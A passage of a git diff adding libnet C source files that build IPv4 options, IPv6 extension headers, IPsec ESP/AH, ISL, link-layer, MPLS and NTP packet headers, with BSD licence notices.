p); + return (-1); +} + +libnet_ptag_t +libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l, +libnet_ptag_t ptag) +{ + int offset, underflow; + u_int32_t i, j, n, adj_size; + libnet_pblock_t *p, *p_temp; + struct libnet_ipv4_hdr *ip_hdr; + + if (l == NULL) + { + return (-1); + } + + underflow = 0; + offset = 0; + + /* check options list size */ + if (options_s > LIBNET_MAXOPTION_SIZE) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): options list is too large %d\n", __func__, options_s); + return (-1); + } + + adj_size = options_s; + if (adj_size % 4) + { + /* size of memory block with padding */ + adj_size += 4 - (options_s % 4); + } + + /* if this pblock already exists, determine if there is a size diff */ + if (ptag) + { + p_temp = libnet_pblock_find(l, ptag); + if (p_temp) + { + if (adj_size >= p_temp->b_len) + { + offset = adj_size - p_temp->b_len; + } + else + { + offset = p_temp->b_len - adj_size; + underflow = 1; + } + } + else + { + /* + * XXX - When this completes successfully, libnet errbuf contains + * an error message so to come correct, we'll clear it. + */ + memset(l->err_buf, 0, sizeof (l->err_buf)); + } + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, adj_size, LIBNET_PBLOCK_IPO_H); + if (p == NULL) + { + return (-1); + } + + /* append options */ + n = libnet_pblock_append(l, p, options, options_s); + if (n == -1) + { + goto bad; + } + + /* append padding */ + n = libnet_pblock_append(l, p, "\0\0\0", adj_size - options_s); + if (n == -1) + { + goto bad; + } + + if (ptag && p->next) + { + p_temp = p->next; + while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_IPV4_H)) + { + p_temp = p_temp->next; + } + + /* fix the IP header size */ + if (p_temp->type == LIBNET_PBLOCK_IPV4_H) + { + /* + * Count up number of 32-bit words in options list, padding if + * neccessary. + */ + for (i = 0, j = 0; i < p->b_len; i++) + { + (i % 4) ? j : j++; + } + ip_hdr = (struct libnet_ipv4_hdr *) p_temp->buf; + ip_hdr->ip_hl = j + 5; + + if (!underflow) + { + p_temp->h_len += offset; + } + else + { + p_temp->h_len -= offset; + } + } + } + + return (ptag ? ptag : libnet_pblock_update(l, p, adj_size, + LIBNET_PBLOCK_IPO_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh, +u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n; + libnet_pblock_t *p; + struct libnet_ipv6_hdr ip_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPV6_H + payload_s; /* size of memory block */ + + if (LIBNET_IPV6_H + payload_s > IP_MAXPACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IP packet too large\n", __func__); + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_H); + if (p == NULL) + { + return (-1); + } + + memset(&ip_hdr, 0, sizeof(ip_hdr)); + ip_hdr.ip_flags[0] = 0x06 << 4; + ip_hdr.ip_flags[1] = ((tc & 0x0F) << 4) | ((fl & 0xF0000) >> 16); + ip_hdr.ip_flags[2] = fl & 0x0FF00 >> 8; + ip_hdr.ip_flags[3] = fl & 0x000FF; + ip_hdr.ip_len = htons(len); + ip_hdr.ip_nh = nh; + ip_hdr.ip_hl = hl; + ip_hdr.ip_src = src; + ip_hdr.ip_dst = dst; + + n = libnet_pblock_append(l, p, (u_int8_t *)&ip_hdr, LIBNET_IPV6_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* no checksum for IPv6 */ + return (ptag ? ptag : libnet_pblock_update(l, p, LIBNET_IPV6_H, + LIBNET_PBLOCK_IPV6_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag, +u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n; + u_int16_t h; + libnet_pblock_t *p; + struct libnet_ipv6_frag_hdr ipv6_frag_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPV6_FRAG_H + payload_s; + h = 0; + + if (LIBNET_IPV6_FRAG_H + payload_s > IP_MAXPACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IP packet too large\n", __func__); + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_FRAG_H); + if (p == NULL) + { + return (-1); + } + + memset(&ipv6_frag_hdr, 0 , sizeof(ipv6_frag_hdr)); + ipv6_frag_hdr.ip_nh = nh; + ipv6_frag_hdr.ip_reserved = reserved; + ipv6_frag_hdr.ip_frag = frag; + ipv6_frag_hdr.ip_id = id; + + /* + * Appened the protocol unit to the list. + */ + n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_frag_hdr, + LIBNET_IPV6_FRAG_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* + * Update the protocol block's meta information and return the protocol + * tag id of this pblock. This tag will be used to locate the pblock + * in order to modify the protocol header in subsequent calls. + */ + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPV6_FRAG_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype, +u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n; + u_int16_t h; + libnet_pblock_t *p; + struct libnet_ipv6_routing_hdr ipv6_routing_hdr; + + if (l == NULL) + { + return (-1); + } + + /* Important: IPv6 routing header routes are specified using the payload + * interface! + */ + n = LIBNET_IPV6_ROUTING_H + payload_s; + h = 0; + + if (LIBNET_IPV6_ROUTING_H + payload_s > IP_MAXPACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IP packet too large\n", __func__); + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_ROUTING_H); + if (p == NULL) + { + return (-1); + } + + memset(&ipv6_routing_hdr, 0 , sizeof(ipv6_routing_hdr)); + ipv6_routing_hdr.ip_nh = nh; + ipv6_routing_hdr.ip_len = len; + ipv6_routing_hdr.ip_rtype = rtype; + ipv6_routing_hdr.ip_segments = segments; + + /* + * Appened the protocol unit to the list. + */ + n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_routing_hdr, + LIBNET_IPV6_ROUTING_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* + * Update the protocol block's meta information and return the protocol + * tag id of this pblock. This tag will be used to locate the pblock + * in order to modify the protocol header in subsequent calls. + */ + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPV6_ROUTING_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n; + u_int16_t h; + libnet_pblock_t *p; + struct libnet_ipv6_destopts_hdr ipv6_destopts_hdr; + + if (l == NULL) + { + return (-1); + } + + /* Important: IPv6 dest opts information is specified using the payload + * interface! + */ + n = LIBNET_IPV6_DESTOPTS_H + payload_s; + h = 0; + + if (LIBNET_IPV6_DESTOPTS_H + payload_s > IP_MAXPACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IP packet too large\n", __func__); + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_DESTOPTS_H); + if (p == NULL) + { + return (-1); + } + + memset(&ipv6_destopts_hdr, 0 , sizeof(ipv6_destopts_hdr)); + ipv6_destopts_hdr.ip_nh = nh; + ipv6_destopts_hdr.ip_len = len; + + /* + * Appened the protocol unit to the list. + */ + n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_destopts_hdr, + LIBNET_IPV6_DESTOPTS_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* + * Update the protocol block's meta information and return the protocol + * tag id of this pblock. This tag will be used to locate the pblock + * in order to modify the protocol header in subsequent calls. + */ + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPV6_DESTOPTS_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n; + u_int16_t h; + libnet_pblock_t *p; + struct libnet_ipv6_hbhopts_hdr ipv6_hbhopts_hdr; + + if (l == NULL) + { + return (-1); + } + + /* Important: IPv6 hop by hop opts information is specified using the + * payload interface! + */ + n = LIBNET_IPV6_HBHOPTS_H + payload_s; + h = 0; + + if (LIBNET_IPV6_HBHOPTS_H + payload_s > IP_MAXPACKET) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): IP packet too large\n", __func__); + return (-1); + } + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_HBHOPTS_H); + if (p == NULL) + { + return (-1); + } + + memset(&ipv6_hbhopts_hdr, 0 , sizeof(ipv6_hbhopts_hdr)); + ipv6_hbhopts_hdr.ip_nh = nh; + ipv6_hbhopts_hdr.ip_len = len; + + /* + * Appened the protocol unit to the list. + */ + n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_hbhopts_hdr, + LIBNET_IPV6_HBHOPTS_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* + * Update the protocol block's meta information and return the protocol + * tag id of this pblock. This tag will be used to locate the pblock + * in order to modify the protocol header in subsequent calls. + */ + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPV6_HBHOPTS_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +libnet_ptag_t +libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst, + libnet_t *l) +{ + + /* NYI */ + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): not yet implemented\n", __func__); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_ipsec.c b/libnet/src/libnet_build_ipsec.c new file mode 100644 index 0000000..0058ea6 --- /dev/null +++ b/libnet/src/libnet_build_ipsec.c @@ -0,0 +1,193 @@ +/* + * $Id: libnet_build_ipsec.c,v 1.12 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_ipsec.c - IP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Copyright (c) 2002 Jose Nazario <jose@crimelabs.net> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +libnet_ptag_t +libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_esp_hdr esp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPSEC_ESP_HDR_H + payload_s;/* size of memory block */ + h = 0; + + memset(&esp_hdr, 0, sizeof(esp_hdr)); + esp_hdr.esp_spi = htonl(spi); /* SPI */ + esp_hdr.esp_seq = htonl(seq); /* ESP sequence number */ + esp_hdr.esp_iv = htonl(iv); /* initialization vector */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_ESP_HDR_H); + if (p == NULL) + { + return (-1); + } + + n = libnet_pblock_append(l, p, (u_int8_t *)&esp_hdr, LIBNET_IPSEC_ESP_HDR_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPSEC_ESP_HDR_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nh, int8_t *auth, + u_int8_t *payload, u_int32_t payload_s, libnet_t *l, + libnet_ptag_t ptag) +{ + /* XXX we need to know the size of auth */ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_esp_ftr esp_ftr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPSEC_ESP_FTR_H + payload_s;/* size of memory block */ + h = 0; + + memset(&esp_ftr, 0, sizeof(esp_ftr)); + esp_ftr.esp_pad_len = len; /* pad length */ + esp_ftr.esp_nh = nh; /* next header pointer */ + esp_ftr.esp_auth = auth; /* authentication data */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_ESP_FTR_H); + if (p == NULL) + { + return (-1); + } + + n = libnet_pblock_append(l, p, (u_int8_t *)&esp_ftr, LIBNET_IPSEC_ESP_FTR_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPSEC_ESP_FTR_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ipsec_ah(u_int8_t nh, u_int8_t len, u_int16_t res, +u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_ah_hdr ah_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_IPSEC_AH_H + payload_s;/* size of memory block */ + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_AH_H); + if (p == NULL) + { + return (-1); + } + + memset(&ah_hdr, 0, sizeof(ah_hdr)); + ah_hdr.ah_nh = nh; /* next header */ + ah_hdr.ah_len = len; /* length */ + ah_hdr.ah_res = (res ? htons(res) : 0); + ah_hdr.ah_spi = htonl(spi); /* SPI */ + ah_hdr.ah_seq = htonl(seq); /* AH sequence number */ + ah_hdr.ah_auth = htonl(auth); /* authentication data */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&ah_hdr, LIBNET_IPSEC_AH_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_IPSEC_AH_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_isl.c b/libnet/src/libnet_build_isl.c new file mode 100644 index 0000000..c3f9ce8 --- /dev/null +++ b/libnet/src/libnet_build_isl.c @@ -0,0 +1,99 @@ +/* + * $Id: libnet_build_isl.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_isl.c - cisco's inter-switch link assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, +u_int8_t *shost, u_int16_t len, u_int8_t *snap, u_int16_t vid, +u_int16_t portindex, u_int16_t reserved, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_isl_hdr isl_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_ISL_H + payload_s; /* size of memory block */ + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ISL_H); + if (p == NULL) + { + return (-1); + } + + memset(&isl_hdr, 0, sizeof (isl_hdr)); + memcpy(&isl_hdr.isl_dhost, dhost, 5); + isl_hdr.isl_type = type; + isl_hdr.isl_user = user; + memcpy(&isl_hdr.isl_shost, shost, 6); + isl_hdr.isl_len = htons(len); + memcpy(&isl_hdr.isl_dhost, snap, 6); + isl_hdr.isl_vid = htons(vid); + isl_hdr.isl_index = htons(portindex); + isl_hdr.isl_reserved= htons(reserved); + + n = libnet_pblock_append(l, p, (u_int8_t *)&isl_hdr, LIBNET_ISL_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* we need to compute the CRC for the ethernet frame and the ISL frame */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + return (ptag ? ptag : libnet_pblock_update(l, p, LIBNET_ISL_H, + LIBNET_PBLOCK_ISL_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_link.c b/libnet/src/libnet_build_link.c new file mode 100644 index 0000000..c1be117 --- /dev/null +++ b/libnet/src/libnet_build_link.c @@ -0,0 +1,90 @@ +/* + * $Id: libnet_build_link.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_link.c - link-layer packet assembler + * + * Copyright (c) 2003 Roberto Larcher <roberto.larcher@libero.it> + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) + +{ + u_int8_t org[3] = {0x00, 0x00, 0x00}; + switch (l->link_type) + { + /* add FDDI */ + case DLT_EN10MB: + return (libnet_build_ethernet(dst, src, type, payload, payload_s, l, + ptag)); + case DLT_IEEE802: + return (libnet_build_token_ring(LIBNET_TOKEN_RING_FRAME, + LIBNET_TOKEN_RING_LLC_FRAME, dst, src, LIBNET_SAP_SNAP, + LIBNET_SAP_SNAP, 0x03, org, type, payload, payload_s, + l, ptag)); + default: + break; + } + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): linktype %d not supported\n", __func__, l->link_type); + return (-1); +} + +libnet_ptag_t +libnet_autobuild_link(u_int8_t *dst, u_int8_t *oui, u_int16_t type, libnet_t *l) +{ + u_int8_t org[3] = {0x00, 0x00, 0x00}; + switch (l->link_type) + { + /* add FDDI */ + case DLT_EN10MB: + return (libnet_autobuild_ethernet(dst, type, l)); + case DLT_IEEE802: + return (libnet_autobuild_token_ring(LIBNET_TOKEN_RING_FRAME, + LIBNET_TOKEN_RING_LLC_FRAME, dst, LIBNET_SAP_SNAP, + LIBNET_SAP_SNAP, 0x03, org, TOKEN_RING_TYPE_IP, l)); + default: + break; + } + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): linktype %d not supported\n", __func__, l->link_type); + return (-1); +} + +/* EOF */ + diff --git a/libnet/src/libnet_build_mpls.c b/libnet/src/libnet_build_mpls.c new file mode 100644 index 0000000..48c1a3e --- /dev/null +++ b/libnet/src/libnet_build_mpls.c @@ -0,0 +1,99 @@ +/* + * $Id: libnet_build_mpls.c,v 1.10 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_mpls.c - MPLS packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos, +u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_mpls_hdr mpls_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_MPLS_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_MPLS_H); + if (p == NULL) + { + return (-1); + } + + memset(&mpls_hdr, 0, sizeof(mpls_hdr)); + mpls_hdr.mpls_les = htonl((((label & 0x000fffff) << 12) | + ((experimental & 0x07) << 9) | + ((bos & 0x01) << 8) | + ((ttl & 0xff)))); + + n = libnet_pblock_append(l, p, (u_int8_t *)&mpls_hdr, LIBNET_MPLS_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + /* + * The link offset is actually 4 bytes further into the header than + * before (the MPLS header adds this 4 bytes). We need to update the + * link offset pointer. XXX - should we set this here? + * Probably not. We should make pblock_coalesce check the pblock type + * and adjust accordingly. + */ + l->link_offset += 4; + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_MPLS_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_ntp.c b/libnet/src/libnet_build_ntp.c new file mode 100644 index 0000000..b93a818 --- /dev/null +++ b/libnet/src/libnet_build_ntp.c @@ -0,0 +1,108 @@ +/* + * $Id: libnet_build_ntp.c,v 1.11 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_build_ntp.c - NTP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if 